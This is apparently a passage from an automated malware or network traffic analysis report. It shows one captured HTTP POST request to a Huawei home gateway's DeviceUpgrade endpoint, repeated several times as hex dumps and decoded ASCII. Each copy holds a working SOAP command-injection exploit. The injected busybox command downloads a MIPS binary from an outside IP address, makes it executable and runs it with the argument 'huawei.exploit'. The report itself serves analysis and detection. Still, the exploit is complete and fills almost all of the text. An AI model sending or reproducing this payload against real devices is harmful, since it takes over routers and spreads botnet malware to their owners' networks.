3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
